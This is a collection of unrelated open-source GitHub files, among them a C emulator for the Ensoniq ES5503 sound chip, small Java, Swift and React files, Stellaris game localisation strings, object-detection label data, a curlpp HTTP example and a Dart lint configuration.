chip = (ES5503Chip *) calloc(1, sizeof(ES5503Chip));
*_info = (void *) chip;
//intf = (const es5503_interface *)device->baseconfig().static_config();
//chip->irq_callback = intf->irq_callback;
//chip->adc_read = intf->adc_read;
//chip->docram = intf->wave_memory;
chip->dramsize = 0x20000; // 128 KB
chip->docram = (UINT8*)malloc(chip->dramsize);
//chip->clock = device->clock();
//chip->device = device;
chip->clock = clock;
chip->output_channels = channels;
chip->outchn_mask = 1;
while(chip->outchn_mask < chip->output_channels)
chip->outchn_mask <<= 1;
chip->outchn_mask --;
chip->rege0 = 0xff;
/*for (osc = 0; osc < 32; osc++)
{
state_save_register_device_item(device, osc, chip->oscillators[osc].freq);
state_save_register_device_item(device, osc, chip->oscillators[osc].wtsize);
state_save_register_device_item(device, osc, chip->oscillators[osc].control);
state_save_register_device_item(device, osc, chip->oscillators[osc].vol);
state_save_register_device_item(device, osc, chip->oscillators[osc].data);
state_save_register_device_item(device, osc, chip->oscillators[osc].wavetblpointer);
state_save_register_device_item(device, osc, chip->oscillators[osc].wavetblsize);
state_save_register_device_item(device, osc, chip->oscillators[osc].resolution);
state_save_register_device_item(device, osc, chip->oscillators[osc].accumulator);
state_save_register_device_item(device, osc, chip->oscillators[osc].irqpend);
}*/
//chip->output_rate = (device->clock()/8)/34; // (input clock / 8) / # of oscs. enabled + 2
//chip->stream = stream_create(device, 0, 2, chip->output_rate, chip, es5503_pcm_update);
chip->output_rate = (chip->clock/8)/34; // (input clock / 8) / # of oscs. enabled + 2
for (osc = 0; osc < 32; osc ++)
chip->oscillators[osc].Muted = 0x00;
return chip->output_rate;
}
void device_stop_es5503(void *_info)
{
ES5503Chip *chip = (ES5503Chip *)_info;
free(chip->docram); chip->docram = NULL;
free(chip);
return;
}
void device_reset_es5503(void *_info)
{
ES5503Chip *chip = (ES5503Chip *)_info;
int osc;
ES5503Osc* tempOsc;
for (osc = 0; osc < 32; osc++)
{
tempOsc = &chip->oscillators[osc];
tempOsc->freq = 0;
tempOsc->wtsize = 0;
tempOsc->control = 0;
tempOsc->vol = 0;
tempOsc->data = 0x80;
tempOsc->wavetblpointer = 0;
tempOsc->wavetblsize = 0;
tempOsc->resolution = 0;
tempOsc->accumulator = 0;
tempOsc->irqpend = 0;
}
chip->oscsenabled = 1;
chip->channel_strobe = 0;
memset(chip->docram, 0x00, chip->dramsize);
chip->output_rate = (chip->clock/8)/(2+chip->oscsenabled); // (input clock / 8) / # of oscs. enabled + 2
if (chip->SmpRateFunc != NULL)
chip->SmpRateFunc(chip->SmpRateData, chip->output_rate);
return;
}
//READ8_DEVICE_HANDLER( es5503_r )
UINT8 es5503_r(void *_info, offs_t offset)
{
UINT8 retval;
int i;
//ES5503Chip *chip = get_safe_token(device);
ES5503Chip *chip = (ES5503Chip *)_info;
//stream_update(chip->stream);
if (offset < 0xe0)
{
int osc = offset & 0x1f;
switch(offset & 0xe0)
{
case 0: // freq lo
return (chip->oscillators[osc].freq & 0xff);
case 0x20: // freq hi
return (chip->oscillators[osc].freq >> 8);
case 0x40: // volume
return chip->oscillators[osc].vol;
case 0x60: // data
return chip->oscillators[osc].data;
case 0x80: // wavetable pointer
return (chip->oscillators[osc].wavetblpointer>>8) & 0xff;
case 0xa0: // oscillator control
return chip->oscillators[osc].control;
case 0xc0: // bank select / wavetable size / resolution
retval = 0;
if (chip->oscillators[osc].wavetblpointer & 0x10000)
{
retval |= 0x40;
}
retval |= (chip->oscillators[osc].wavetblsize<<3);
retval |= chip->oscillators[osc].resolution;
return retval;
}
}
else // global registers
{
switch (offset)
{
case 0xe0: // interrupt status
retval = chip->rege0;
//m_irq_func(0);
// scan all oscillators
for (i = 0; i < chip->oscsenabled; i++)
{
if (chip->oscillators[i].irqpend)
{
// signal this oscillator has an interrupt
retval = i<<1;
chip->rege0 = retval | 0x80;
// and clear its flag
chip->oscillators[i].irqpend = 0;
/*if (chip->irq_callback)
{
chip->irq_callback(chip->device, 0);
}*/
break;
}
}
// if any oscillators still need to be serviced, assert IRQ again immediately
/*for (i = 0; i < chip->oscsenabled; i++)
{
if (chip->oscillators[i].irqpend)
{
if (chip->irq_callback)
{
chip->irq_callback(chip->device, 1);
}
break;
}
}*/
return retval;
case 0xe1: // oscillator enable
return (chip->oscsenabled-1)<<1;
case 0xe2: // A/D converter
/*if (chip->adc_read)
{
return chip->adc_read(chip->device, 0);
}*/
break;
}
}
return 0;
}
//WRITE8_DEVICE_HANDLER( es5503_w )
void es5503_w(void *_info, offs_t offset, UINT8 data)
{
//ES5503Chip *chip = get_safe_token(device);
ES5503Chip *chip = (ES5503Chip *)_info;
//stream_update(chip->stream);
if (offset < 0xe0)
{
int osc = offset & 0x1f;
switch(offset & 0xe0)
{
case 0: // freq lo
chip->oscillators[osc].freq &= 0xff00;
chip->oscillators[osc].freq |= data;
break;
case 0x20: // freq hi
chip->oscillators[osc].freq &= 0x00ff;
chip->oscillators[osc].freq |= (data<<8);
break;
case 0x40: // volume
chip->oscillators[osc].vol = data;
break;
case 0x60: // data - ignore writes
break;
case 0x80: // wavetable pointer
chip->oscillators[osc].wavetblpointer = (data<<8);
break;
case 0xa0: // oscillator control
// if a fresh key-on, reset the ccumulator
if ((chip->oscillators[osc].control & 1) && (!(data&1)))
{
chip->oscillators[osc].accumulator = 0;
}
chip->oscillators[osc].control = data;
break;
case 0xc0: // bank select / wavetable size / resolution
if (data & 0x40) // bank select - not used on the Apple IIgs
{
chip->oscillators[osc].wavetblpointer |= 0x10000;
}
else
{
chip->oscillators[osc].wavetblpointer &= 0xffff;
}
chip->oscillators[osc].wavetblsize = ((data>>3) & 7);
chip->oscillators[osc].wtsize = wavesizes[chip->oscillators[osc].wavetblsize];
chip->oscillators[osc].resolution = (data & 7);
break;
}
}
else // global registers
{
switch (offset)
{
case 0xe0: // interrupt status
break;
case 0xe1: // oscillator enable
chip->oscsenabled = 1 + ((data>>1) & 0x1f);
chip->output_rate = (chip->clock/8)/(2+chip->oscsenabled);
//stream_set_sample_rate(chip->stream, chip->output_rate);
if (chip->SmpRateFunc != NULL)
chip->SmpRateFunc(chip->SmpRateData, chip->output_rate);
break;
case 0xe2: // A/D converter
break;
}
}
}
/*void es5503_set_base(running_device *device, UINT8 *wavemem)
{
ES5503Chip *chip = get_safe_token(device);
chip->docram = wavemem;
}*/
void es5503_write_ram(void *_info, offs_t DataStart, offs_t DataLength, const UINT8* RAMData)
{
ES5503Chip *chip = (ES5503Chip *)_info;
if (DataStart >= chip->dramsize)
return;
if (DataStart + DataLength > chip->dramsize)
DataLength = chip->dramsize - DataStart;
memcpy(chip->docram + DataStart, RAMData, DataLength);
return;
}
void es5503_set_mute_mask(void *_info, UINT32 MuteMask)
{
ES5503Chip *chip = (ES5503Chip *)_info;
UINT8 CurChn;
for (CurChn = 0; CurChn < 32; CurChn ++)
chip->oscillators[CurChn].Muted = (MuteMask >> CurChn) & 0x01;
return;
}
void es5503_set_srchg_cb(void *_info, SRATE_CALLBACK CallbackFunc, void* DataPtr)
{
ES5503Chip *chip = (ES5503Chip *)_info;
// set Sample Rate Change Callback routine
chip->SmpRateFunc = CallbackFunc;
chip->SmpRateData = DataPtr;
return;
}
/**************************************************************************
* Generic get_info
**************************************************************************/
/*DEVICE_GET_INFO( es5503 )
{
switch (state)
{
// --- the following bits of info are returned as 64-bit signed integers ---
case DEVINFO_INT_TOKEN_BYTES: info->i = sizeof(ES5503Chip); break;
// --- the following bits of info are returned as pointers to data or functions --- //
case DEVINFO_FCT_START: info->start = DEVICE_START_NAME( es5503 ); break;
case DEVINFO_FCT_STOP: // Nothing // break;
case DEVINFO_FCT_RESET: // Nothing // break;
// --- the following bits of info are returned as NULL-terminated strings ---
case DEVINFO_STR_NAME: strcpy(info->s, "ES5503"); break;
case DEVINFO_STR_FAMILY: strcpy(info->s, "Ensoniq ES550x"); break;
case DEVINFO_STR_VERSION: strcpy(info->s, "1.0"); break;
case DEVINFO_STR_SOURCE_FILE: strcpy(info->s, __FILE__); break;
case DEVINFO_STR_CREDITS: strcpy(info->s, "Copyright R. Belmont"); break;
}
}
DEFINE_LEGACY_SOUND_DEVICE(ES5503, es5503);*/
| {
"pile_set_name": "Github"
} |
// RUN: %target-swift-ide-test -code-completion -code-completion-token=A -source-filename=%s | %FileCheck %s
{protocol A{func b
}enum B:A{let s=b
let A{#^A^#
// CHECK: Begin completions
| {
"pile_set_name": "Github"
} |
package artifactory.test;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
/**
* Unit test for simple App.
*/
public class AppTest
extends TestCase
{
/**
* Create the test case
*
* @param testName name of the test case
*/
public AppTest( String testName )
{
super( testName );
}
/**
* @return the suite of tests being tested
*/
public static Test suite()
{
return new TestSuite( AppTest.class );
}
/**
* Rigourous Test :-)
*/
public void testApp()
{
assertTrue( true );
}
}
| {
"pile_set_name": "Github"
} |
package com.mashibing.mapper;
import com.mashibing.bean.ZhCustomerMembers;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
/**
* <p>
* 业主成员 Mapper 接口
* </p>
*
* @author lian
* @since 2020-04-18
*/
public interface ZhCustomerMembersMapper extends BaseMapper<ZhCustomerMembers> {
}
| {
"pile_set_name": "Github"
} |
`ConvertFrom-Json` returns integers as `[long]` or `[int]` depending on the
current PowerShell version:
- v6+: integers are returned as `[long]`
- v5-: integers are returned as `[int]`
Scripts
- [Test-1.long.integer.ps1](Test-1.long.integer.ps1)
| {
"pile_set_name": "Github"
} |
// Go support for Protocol Buffers - Google's data interchange format
//
// Copyright 2016 The Go Authors. All rights reserved.
// https://github.com/golang/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
/*
Package ptypes contains code for interacting with well-known types.
*/
package ptypes
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: b10f818f1cc3dd6469288e6adf63aebb
timeCreated: 1467674035
licenseType: Free
NativeFormatImporter:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
/**
* Just the loading indicator centered above gray background.
*/
import LoadingIndicator from 'components/LoadingIndicator';
import React from 'react';
import './style.scss';
export default function LoadingPagePlaceholder() {
return (
<div styleName="background">
<div styleName="page">
<LoadingIndicator />
</div>
</div>
);
}
| {
"pile_set_name": "Github"
} |
l_english:
####################################
# Special Projects
####################################
### Story Events
AMOEBAS_1_PROJECT:0 "Space Amoeba Observation"
AMOEBAS_1_PROJECT_DESC:0 "Task a science department with collecting and collating data relating to the Space Amoebas."
CRYSTALS_1_PROJECT:0 "Crystalline Entity Observation"
CRYSTALS_1_PROJECT_DESC:0 "Task a science department with collecting and collating data relating to the Crystalline Entities."
DRONES_1_PROJECT:0 "Mining Drone Observation"
DRONES_1_PROJECT_DESC:0 "Task a science department with collecting and collating data relating to the Ancient Mining Drones."
CLOUDS_1_PROJECT:0 "Void Cloud Observation"
CLOUDS_1_PROJECT_DESC:0 "Task a science department with collecting and collating data relating to the Void Clouds."
CRYSTAL_CONSTRUCT_PROJECT:0 "The Crystal Construct"
CRYSTAL_CONSTRUCT_PROJECT_DESC:0 "Task a science department with collecting and collating data relating to the unique Crystalline Construct."
MINING_BASE_PROJECT:0 "The Processing Hub"
MINING_BASE_PROJECT_DESC:0 "Task a science department with remotely studying the last known Ancient Mining Drone Processing Hub."
### Anomaly Events
DEAL_WITH_FLORA:0 "Plant Aggression"
DEAL_WITH_FLORA_DESC:0 "The planet's flora is remarkably dexterous, alarmingly aggressive, and definitely worthy of closer study."
OLD_GODS_BENEFACTRESS_PROJECT:0 "Old Gods: The Benefactress"
OLD_GODS_BENEFACTRESS_PROJECT_DESC:1 "Every surface of the Benefactress' shrine is covered with a complex web of pictograms, seemingly telling a story far more expansive than the molecular fables that survived through the ages on [Root.Owner.Capital.GetName].\n\nThough only distantly related to known ancient [Root.Owner.GetSpeciesName] languages, current technology should allow us to decipher the pictograms given enough time and resources."
OLD_GODS_UNDAUNTED_PROJECT:0 "Old Gods: The Undaunted"
OLD_GODS_UNDAUNTED_PROJECT_DESC:1 "The temple holding the Undaunted's shrine is, true to the myths surrounding him, filled with contraptions of indeterminate origin and purpose. A far cry from the simple puzzle-boxes and tests of strength that once filled his temples on [Root.Owner.Capital.GetName], here his holy texts will truly only be read by the worthy.\n\nThat said, our sophisticated analysis tools should make short work of these conundrums."
OLD_GODS_PERCIPIENT_PROJECT:0 "Old Gods: The Percipient"
OLD_GODS_PERCIPIENT_PROJECT_DESC:1 "The walls of the space housing the shrine to the Percipient are coated with thick layers of mineral-based lacquer, but the shrine itself is bare.\n\nThe tales of the Percipient are told only to those perceptive enough to understand their meaning - it is just a matter of figuring out what needs to be perceived."
LIMBO_1_PROJECT:0 "In Limbo"
LIMBO_1_PROJECT_DESC:0 "An alien vault filled with data storage devices practically begs for some archaeological data recovery."
PROJECTING_MOON_PROJECT:0 "Projecting"
PROJECTING_MOON_PROJECT_DESC:0 "An unusual planet has an unusual moon; the usual scanning techniques do not give satisfactory results, and a more hands-on approach is needed."
GRIMACING_PLANET_PROJECT:0 "Grimacing Planet"
GRIMACING_PLANET_PROJECT_DESC:0 "The violently animated face of this planet can be stabilized into something potentially habitable, if we act soon."
OLFACTORY_PROJECT:0 "Olfactory Study"
OLFACTORY_PROJECT_DESC:0 "An alien artifact is suspected of relaying information through aerosolized aromatic compounds."
ULTIMATE_WEAPON_PROJECT:0 "The Ultimate Weapon"
ULTIMATE_WEAPON_PROJECT_DESC:0 "A cache of weapons lie hidden somewhere on the planet. If we can find them, they may provide new martial technologies for our Empire."
REFINE_ROCK_PROJECT:0 "Positron Bombardment"
REFINE_ROCK_PROJECT_DESC:0 "Controlled dispersal of positrons from orbit may change the minerals native to the planet into a more useful form."
CRYSTAL_CODEX_PROJECT:0 "Crystal Codex"
CRYSTAL_CODEX_PROJECT_DESC:0 "A mineral formation houses hologram-encoded information. Its structure is familiar, but the sheer data density makes it a challenge to decode."
ALIEN_BARRACKS_PROJECT:0 "Alien Barracks"
ALIEN_BARRACKS_PROJECT_DESC:0 "A closer xeno-socio-archaeological study of these ruins may provide insights into some past alien war machine."
ROBOT_MINERALS_PROJECT:0 "Reclaimed by Nature"
ROBOT_MINERALS_PROJECT_DESC:0 "An overgrown facility may house important secrets."
BALANCE_ECOSYSTEM_PROJECT:0 "Balance Ecosystem"
BALANCE_ECOSYSTEM_PROJECT_DESC:0 "A plan has been formulated to attempt to balance the planet's lopsided biosphere using only the tools available to a standard Science Ship.\n\nThere may be unforeseen consequences."
HEAD_IN_SAND_PROJECT:0 "Head in the Sand"
HEAD_IN_SAND_PROJECT_DESC:0 "A military fleet can attempt to salvage an ever-burrowing ship."
THE_PRINCE_PROJECT:0 "The Prince"
THE_PRINCE_PROJECT_DESC:0 "A databank found floating in space houses nothing but a lengthy piece of text, written in a strange, yet familiar, alien language."
EMERGENCY_BUOY_PROJECT:0 "Emergency Buoy"
EMERGENCY_BUOY_PROJECT_DESC:0 "A heavily-damaged object seems to act as a repeater for a comms signal."
WRECKED_FLEET_1:0 "Monumental Transmission"
WRECKED_FLEET_1_DESC:0 "Decode the message emanating from the monolith."
WRECKED_FLEET_2:0 "Ancient Alliance Armada"
WRECKED_FLEET_2_DESC:0 "Deploy engineering teams to restore the salvageable vessels to working order."
MANUFACTORY_PROJECT:0 "Mining Restoration"
MANUFACTORY_PROJECT_DESC:0 "Deploy engineering teams to restore an ancient orbital station to working order."
### Colony Events
HELPFUL_DRONES_1_PROJECT:0 "Left Behind"
HELPFUL_DRONES_1_PROJECT_DESC:0 "Strange readings are coming from the planet's moon. It could be nothing.\n\nBut it could be something. With a ship in orbit acting as a relay, the colony's scientists will carefully scan the moon's surface in order to get to the heart of the matter."
POLLEN_1_PROJECT:0 "Floral Study"
POLLEN_1_PROJECT_DESC:0 "Some of the planet's native flora exhibit several potentially interesting properties."
POLLEN_2_PROJECT:0 "Labor Study"
POLLEN_2_PROJECT_DESC:0 "Several recent studies from reputable [Root.Owner.GetSpeciesName] seats of learning present a number of alternative ways of arranging a vast workforce. An exhaustive meta-study of these new ideas could provide the answer to the problem of declining productivity in challenging colony environments."
POLLEN_3_PROJECT:0 "A Sense of Impending Doom"
POLLEN_3_PROJECT_DESC:0 "The situation on the pollen-infested planet has taken a turn for the potentially dangerous. A speedy assessment of the colony's unique situation and especially its increasingly volatile environmental factors is of the utmost importance.\n\nOnce all threats are known, an action plan can be drafted and executed within hours."
### Starting Events
# Wanderlust
ROGUE_SCIENTIST_1_PROJECT:0 "Wanderlust: What Was Left Behind"
ROGUE_SCIENTIST_1_PROJECT_DESC:0 "The Chairperson's unseen departure from this system resulted in a perplexing mass of residual energy signatures being cast upon the solar winds.\n\nHopefully a complete analysis of these energies should point us to the Chairperson's next destination, and if need be, make them easier to track in the future."
# Mass Extinction
MASSEX_1_PROJECT:0 "Analysis: Broken"
MASSEX_1_PROJECT_DESC:0 "Reconstruct the traumatic past of this celestial body."
MASSEX_2_PROJECT:0 "Analysis: Burned"
MASSEX_2_PROJECT_DESC:0 "Reconstruct the traumatic past of this celestial body."
MASSEX_3_PROJECT:0 "Analysis: Desolate"
MASSEX_3_PROJECT_DESC:0 "Reconstruct the traumatic past of this celestial body."
MASSEX_4_PROJECT:0 "Analysis: Noxious"
MASSEX_4_PROJECT_DESC:0 "Reconstruct the traumatic past of this celestial body."
MASSEX_5_PROJECT:0 "Analysis: Chilly"
MASSEX_5_PROJECT_DESC:0 "Reconstruct the traumatic past of this celestial body."
| {
"pile_set_name": "Github"
} |
Car 0.00 0 -1.4533965523031096 602.84 177.24 630.32 204.22 1.5279615683300805 1.6299723594175124 3.9264980947003747 0.37 1.95 46.40 -1.4454225833824663 0.9999703
Cyclist 0.08 0 -2.63975723186997 879.96 119.48 1155.64 374.00 1.7083196896482562 0.6042204124092054 1.722011919173088 2.82 1.40 5.21 -2.1436436930501617 0.77297574
Pedestrian 0.00 1 2.1048227111485343 861.92 160.87 912.58 337.60 1.860322290510292 0.6718673488863629 0.8240592522332573 2.53 1.50 6.75 2.4634310174004 0.7637938
Pedestrian 0.00 1 -1.5291832807150225 781.28 170.37 820.28 298.57 1.6753696961704445 0.7003173212793541 0.8132954356977844 2.28 1.47 8.69 -1.2725960677919452 0.8731238
Car 0.76 3 -1.7373634437706809 0.00 211.78 101.53 309.12 1.5348268788127613 1.6160373420180225 3.7575325985775376 -9.67 1.98 10.67 -2.4736369532834086 0.9996549
Car 0.00 1 1.7087402949717383 373.42 190.20 431.21 222.47 1.3935319039790344 1.6349765893728876 3.8471999914721633 -9.51 2.16 33.20 1.4297644766551463 0.9999144
Cyclist 0.00 2 -3.0085209170964102 813.11 140.69 971.49 311.68 1.7112711253930186 0.5477689073591423 1.7363595208550358 2.98 1.39 7.79 -2.6431547769276444 0.62783295
DontCare -1 -1 -1.4312435398485999 0.00 171.90 20.88 204.23 1.4874856848089408 1.6355474258498692 3.5280288626776124 -1000 -1000 -1000 -0.6458453764511516 0.77850235
DontCare -1 -1 0.6528548161175589 0.00 309.40 42.75 364.65 1.5519586171774578 1.621346769175067 3.6949052830562974 -1000 -1000 -1000 1.4382529795150072 0.8060232
DontCare -1 -1 -1.6785728866842131 107.48 189.60 177.31 238.60 1.5716153126029682 1.6987128101946258 4.214668618641891 -1000 -1000 -1000 -0.8931747232867648 0.8689946
DontCare -1 -1 -0.48962302605179353 497.06 175.02 561.68 197.98 1.4777993153600406 1.6588883607373976 3.8420728446320678 -1000 -1000 -1000 0.29577513734565475 0.6751405
| {
"pile_set_name": "Github"
} |
/**
* \file
* The most simple example.
*
*/
#include <curlpp/cURLpp.hpp>
#include <curlpp/Easy.hpp>
#include <curlpp/Options.hpp>
using namespace curlpp::options;
int main(int, char **)
{
try
{
// That's all that is needed to do cleanup of used resources (RAII style).
curlpp::Cleanup myCleanup;
// Our request to be sent.
curlpp::Easy myRequest;
// Set the URL.
myRequest.setOpt<Url>("http://example.com");
// Send request and get a result.
// By default the result goes to standard output.
myRequest.perform();
}
catch(curlpp::RuntimeError & e)
{
std::cout << e.what() << std::endl;
}
catch(curlpp::LogicError & e)
{
std::cout << e.what() << std::endl;
}
return 0;
}
| {
"pile_set_name": "Github"
} |
"use strict";
var Observable_1 = require('../../Observable');
var zipAll_1 = require('../../operator/zipAll');
Observable_1.Observable.prototype.zipAll = zipAll_1.zipAll;
//# sourceMappingURL=zipAll.js.map | {
"pile_set_name": "Github"
} |
# Auto-generated options enabling all lints.
# Add these to your `analysis-options.yaml` file and tailor to fit!
linter:
rules:
- always_declare_return_types
- always_put_control_body_on_new_line
- always_put_required_named_parameters_first
- always_require_non_null_named_parameters
- always_specify_types
- always_use_package_imports
- annotate_overrides
- avoid_annotating_with_dynamic
- avoid_as
- avoid_bool_literals_in_conditional_expressions
- avoid_catches_without_on_clauses
- avoid_catching_errors
- avoid_classes_with_only_static_members
- avoid_double_and_int_checks
- avoid_empty_else
- avoid_equals_and_hash_code_on_mutable_classes
- avoid_escaping_inner_quotes
- avoid_field_initializers_in_const_classes
- avoid_function_literals_in_foreach_calls
- avoid_implementing_value_types
- avoid_init_to_null
- avoid_js_rounded_ints
- avoid_null_checks_in_equality_operators
- avoid_positional_boolean_parameters
- avoid_print
- avoid_private_typedef_functions
- avoid_redundant_argument_values
- avoid_relative_lib_imports
- avoid_renaming_method_parameters
- avoid_return_types_on_setters
- avoid_returning_null
- avoid_returning_null_for_future
- avoid_returning_null_for_void
- avoid_returning_this
- avoid_setters_without_getters
- avoid_shadowing_type_parameters
- avoid_single_cascade_in_expression_statements
- avoid_slow_async_io
- avoid_type_to_string
- avoid_types_as_parameter_names
- avoid_types_on_closure_parameters
- avoid_unnecessary_containers
- avoid_unused_constructor_parameters
- avoid_void_async
- avoid_web_libraries_in_flutter
- await_only_futures
- camel_case_extensions
- camel_case_types
- cancel_subscriptions
- cascade_invocations
- cast_nullable_to_non_nullable
- close_sinks
- comment_references
- constant_identifier_names
- control_flow_in_finally
- curly_braces_in_flow_control_structures
- diagnostic_describe_all_properties
- directives_ordering
- do_not_use_environment
- empty_catches
- empty_constructor_bodies
- empty_statements
- exhaustive_cases
- file_names
- flutter_style_todos
- hash_and_equals
- implementation_imports
- invariant_booleans
- iterable_contains_unrelated_type
- join_return_with_assignment
- leading_newlines_in_multiline_strings
- library_names
- library_prefixes
- lines_longer_than_80_chars
- list_remove_unrelated_type
- literal_only_boolean_expressions
- missing_whitespace_between_adjacent_strings
- no_adjacent_strings_in_list
- no_default_cases
- no_duplicate_case_values
- no_logic_in_create_state
- no_runtimeType_toString
- non_constant_identifier_names
- null_check_on_nullable_type_parameter
- null_closures
- omit_local_variable_types
- one_member_abstracts
- only_throw_errors
- overridden_fields
- package_api_docs
- package_names
- package_prefixed_library_names
- parameter_assignments
- prefer_adjacent_string_concatenation
- prefer_asserts_in_initializer_lists
- prefer_asserts_with_message
- prefer_collection_literals
- prefer_conditional_assignment
- prefer_const_constructors
- prefer_const_constructors_in_immutables
- prefer_const_declarations
- prefer_const_literals_to_create_immutables
- prefer_constructors_over_static_methods
- prefer_contains
- prefer_double_quotes
- prefer_equal_for_default_values
- prefer_expression_function_bodies
- prefer_final_fields
- prefer_final_in_for_each
- prefer_final_locals
- prefer_for_elements_to_map_fromIterable
- prefer_foreach
- prefer_function_declarations_over_variables
- prefer_generic_function_type_aliases
- prefer_if_elements_to_conditional_expressions
- prefer_if_null_operators
- prefer_initializing_formals
- prefer_inlined_adds
- prefer_int_literals
- prefer_interpolation_to_compose_strings
- prefer_is_empty
- prefer_is_not_empty
- prefer_is_not_operator
- prefer_iterable_whereType
- prefer_mixin
- prefer_null_aware_operators
- prefer_relative_imports
- prefer_single_quotes
- prefer_spread_collections
- prefer_typing_uninitialized_variables
- prefer_void_to_null
- provide_deprecation_message
- public_member_api_docs
- recursive_getters
- sized_box_for_whitespace
- slash_for_doc_comments
- sort_child_properties_last
- sort_constructors_first
- sort_pub_dependencies
- sort_unnamed_constructors_first
- test_types_in_equals
- tighten_type_of_initializing_formals
- throw_in_finally
- type_annotate_public_apis
- type_init_formals
- unawaited_futures
- unnecessary_await_in_return
- unnecessary_brace_in_string_interps
- unnecessary_const
- unnecessary_final
- unnecessary_getters_setters
- unnecessary_lambdas
- unnecessary_new
- unnecessary_null_aware_assignments
- unnecessary_null_checks
- unnecessary_null_in_if_null_operators
- unnecessary_nullable_for_final_variable_declarations
- unnecessary_overrides
- unnecessary_parenthesis
- unnecessary_raw_strings
- unnecessary_statements
- unnecessary_string_escapes
- unnecessary_string_interpolations
- unnecessary_this
- unrelated_type_equality_checks
- unsafe_html
- use_full_hex_values_for_flutter_colors
- use_function_type_syntax_for_parameters
- use_is_even_rather_than_modulo
- use_key_in_widget_constructors
- use_late_for_private_fields_and_variables
- use_raw_strings
- use_rethrow_when_possible
- use_setters_to_change_properties
- use_string_buffers
- use_to_and_as_if_applicable
- valid_regexps
- void_checks
| {
"pile_set_name": "Github"
} |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = isImmutable;
var _isType = _interopRequireDefault(require("./isType"));
var _generated = require("./generated");
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function isImmutable(node) {
if ((0, _isType.default)(node.type, "Immutable")) return true;
if ((0, _generated.isIdentifier)(node)) {
if (node.name === "undefined") {
return true;
} else {
return false;
}
}
return false;
} | {
"pile_set_name": "Github"
} |
GUI_CLICK_TO_ADD_ELEMENT_TO_EMPTY_LIST_0 = \u041D\u0430\u0436\u043C\u0438\u0442\u0435, \u0447\u0442\u043E\u0431\u044B \u0434\u043E\u0431\u0430\u0432\u0438\u0442\u044C \u044D\u043B\u0435\u043C\u0435\u043D\u0442 \u0432 \u043F\u0443\u0441\u0442\u043E\u0439 \u0441\u043F\u0438\u0441\u043E\u043A.
| {
"pile_set_name": "Github"
} |
# neo4j-go-connector
This package is an internal dependency being used by [Neo4j Go Driver](https://github.com/neo4j/neo4j-go-driver). | {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.